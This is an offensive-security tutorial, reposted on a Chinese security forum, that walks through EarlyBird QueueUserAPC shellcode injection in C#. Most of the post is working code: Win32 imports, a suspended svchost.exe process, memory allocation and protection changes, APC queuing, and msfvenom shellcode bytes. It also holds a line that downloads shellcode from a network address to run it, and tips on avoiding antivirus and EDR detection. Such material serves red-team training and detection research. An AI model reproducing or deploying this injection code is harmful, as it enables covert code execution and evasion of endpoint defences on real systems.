安全矩阵

 找回密码
 立即注册
搜索
查看: 720|回复: 0

Shellcode Injection in C# - Part 3 - QueueUserAPC | EarlyBird

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-9-17 21:04:59 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-9-17 21:04 编辑


Shellcode Injection in C# - Part 3 - QueueUserAPC | EarlyBird

Original post link:Shellcode Injection in C# - Part 3 - QueueUserAPC | EarlyBird
Posted Sep 16, 2022 By Ahmed Sher


Introduction
In this post we are going to look at another method for shellcode execution. THis involves using the API call QueueUserAPC. Like previous Process Hollowing, in this we are going to open a process in a suspended state, allocate some memory into it, write our shellcode into that allocated region, queue and APC to the thread and then resume it.
QueueUserAPC
According to Mitre APC injection is commonly performed by attaching malicious code to the APC Queue of a process’s thread. Queued APC functions are executed when the thread enters an alterable state. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function.
APC stands for Asynchronous Procedure Call. APCs are functions that executes asynchronously in the context of a particular thread. Every thread has its own queue of APCs. They are executed in FIFO (First in first out) way when a thread enters an alertable state. A thread can enter an alertable state using calls like SleepEx. Explained by Microsoft here
EarlyBird
In standard QueueUserAPC injection, all the threads are opened of a running process and the shellcode is binded with them in search that one of them will have a alertable state for it to execute our shellcode. This is unpredictable as it may not execute our shellcode or it may execute our shellcode multiple times.
In comes EarlyBird method. In this method, instead of targeting a running process we chose to create a process in a suspended state. After writing our shellcode to the thread we queue an APC and then resume the thread. This way the program processes the APC before the main thread executes. In some cases, it can bypass some EDRs/AVs because the execution of our shellcode happens before EDRs can hook in. (More into this later).
.NET and APCs
While looking at some POCs of this method in C#, I noticed the code didnt have any “Alertable State” calls to actually execute the shellcode. Some research lead me to two articles. One by SpecterOps and the other by wireless90. They explain how the CLR in .NET is responsible for this to happen.
TLDR is that the CLR calls an alertable method for us. The thread would be managed by the CLR and the shellcode executes when the .NET executeable exits.
Imports
With all that theory out we can start with developing. First we need to set up the API calls we are going to use. For this some of the calls are obvious. First we need to create a process in a suspended state with CreateProcess. Then we allocate some RW space for our shellcode using VirtualAllocEx. Then we write the shellcode using WriteProcessMemory. Change the protection to RX USING VirtualProtectEx. Queue an APC to the main thread and then resume the thread. All put together looks like this.
  1. [DllImport("kernel32.dll")]
  2. public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);

  3. [DllImport("kernel32.dll")]
  4. public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

  5. [DllImport("kernel32.dll")]
  6. public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref IntPtr lpNumberOfBytesWritten);

  7. [DllImport("kernel32.dll")]
  8. public static extern bool VirtualProtectEx(IntPtr handle, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);

  9. [DllImport("kernel32.dll")]
  10. public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

  11. [DllImport("kernel32.dll")]
  12. public static extern uint ResumeThread(IntPtr hThread);
复制代码


We also need some structs like in the previous post.
  1. public struct STARTUPINFO
  2. {
  3.   public Int32 cb;
  4.   public string lpReserved;
  5.   public string lpDesktop;
  6.   public string lpTitle;
  7.   public Int32 dwX;
  8.   public Int32 dwY;
  9.   public Int32 dwXSize;
  10.   public Int32 dwYSize;
  11.   public Int32 dwXCountChars;
  12.   public Int32 dwYCountChars;
  13.   public Int32 dwFillAttribute;
  14.   public Int32 dwFlags;
  15.   public Int16 wShowWindow;
  16.   public Int16 cbReserved2;
  17.   public IntPtr lpReserved2;
  18.   public IntPtr hStdInput;
  19.   public IntPtr hStdOutput;
  20.   public IntPtr hStdError;
  21. }

  22. [StructLayout(LayoutKind.Sequential)]
  23. public struct PROCESS_INFORMATION
  24. {
  25.   public IntPtr hProcess;
  26.   public IntPtr hThread;
  27.   public int dwProcessId;
  28.   public int dwThreadId;
  29. }

  30. public static class CreationFlags
  31. {
  32.   public const uint SUSPENDED = 0x4;
  33. }

  34. public enum ThreadAccess : int
  35. {
  36.   SET_CONTEXT = 0x0010
  37. }

  38. public static readonly UInt32 MEM_COMMIT = 0x1000;
  39. public static readonly UInt32 MEM_RESERVE = 0x2000;
  40. public static readonly UInt32 PAGE_EXECUTE_READ = 0x20;
  41. public static readonly UInt32 PAGE_READWRITE = 0x04;
复制代码


Main Method
First we need to initialize a couple of structs and then we can create a process in a suspended state much like in the previous post.
  1. STARTUPINFO si = new STARTUPINFO();
  2. PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

  3. string app = @"C:\Windows\System32\svchost.exe";
  4. bool procinit = CreateProcess(null, app, IntPtr.Zero, IntPtr.Zero, false, CreationFlags.SUSPENDED, IntPtr.Zero, null, ref si, ref pi);
复制代码


We can add our shellcode in. We have seen how to copy paste from msfvenom. We can also fetch the shellcode from web or read from disk. Not recommended reading shellcode from disk. Very bad OPSEC.
  1. // If you want to fetch the shellcode from the web
  2. string url = "http://192.168.1.1/safe.bin";
  3. WebClient wc = new WebClient();
  4. byte[] buf = wc.DownloadData(url);

  5. // If you want to load shellcode from disk
  6. string shellpath = @"C:\Users\crypt0ace\Desktop\www\safe.bin";
  7. byte[] buf = File.ReadAllBytes(shellpath);

  8. // If you want to embed the shellcode
  9. // msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
  10. byte[] buf = new byte[276] {
  11.     0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
  12.     0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
  13.     0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
  14.     0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
  15.     0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
  16.     0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
  17.     0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
  18.     0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
  19.     0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
  20.     0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
  21.     0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
  22.     0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
  23.     0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
  24.     0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
  25.     0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
  26.     0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
  27.     0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
  28.     0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
  29.     0x63,0x2e,0x65,0x78,0x65,0x00 };
复制代码


Make sure to comment out the method youre not using.
After starting the process we can allocate space for our shellcode. This time however we would be using READ/WRITE (RW) memory and not READ/WRITE/EXECUTE (RWX) because it creates more suspicion and is usually flagged by AVs.

                                                
  1. IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, buf.Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
复制代码
           
Once the memory has been allocated we can write our shellcode in it using WriteProcessMemory.

                                         
  1. IntPtr bytesWritten = IntPtr.Zero;bool resultBool = WriteProcessMemory(pi.hProcess, resultPtr, buf, buf.Length, ref bytesWritten);
复制代码
              
We can now change the memory protection using VirtualProtectEx to READ/EXECUTE (RX)

                                          
  1.   uint oldProtect = 0;IntPtr proc_handle = pi.hProcess;resultBool = VirtualProtectEx(proc_handle, resultPtr, buf.Length, PAGE_EXECUTE_READ, out oldProtect);
复制代码

After that we can use QueueUserAPC to queue and APC to our thread. We will provide the main thread using the PROCESS_INFORMATION struct’s hThread.

                                         
  1. IntPtr ptr = QueueUserAPC(resultPtr, pi.hThread, IntPtr.Zero);
复制代码
            
Resuming the thread using ResumeThread would put our APC to the front and execute the code in it before the main thread gets executed.

                                          
  1. IntPtr ThreadHandle = pi.hThread;ResumeThread(ThreadHandle);
复制代码
      
All goes well you should see the shellcode being executed.
Code
The full code can be found on my github here. Wont bypass any AV/EDR though but its a nice little technique for shellcode execution.
References
As always all credits to these great posts


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 12:58 , Processed in 0.014443 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表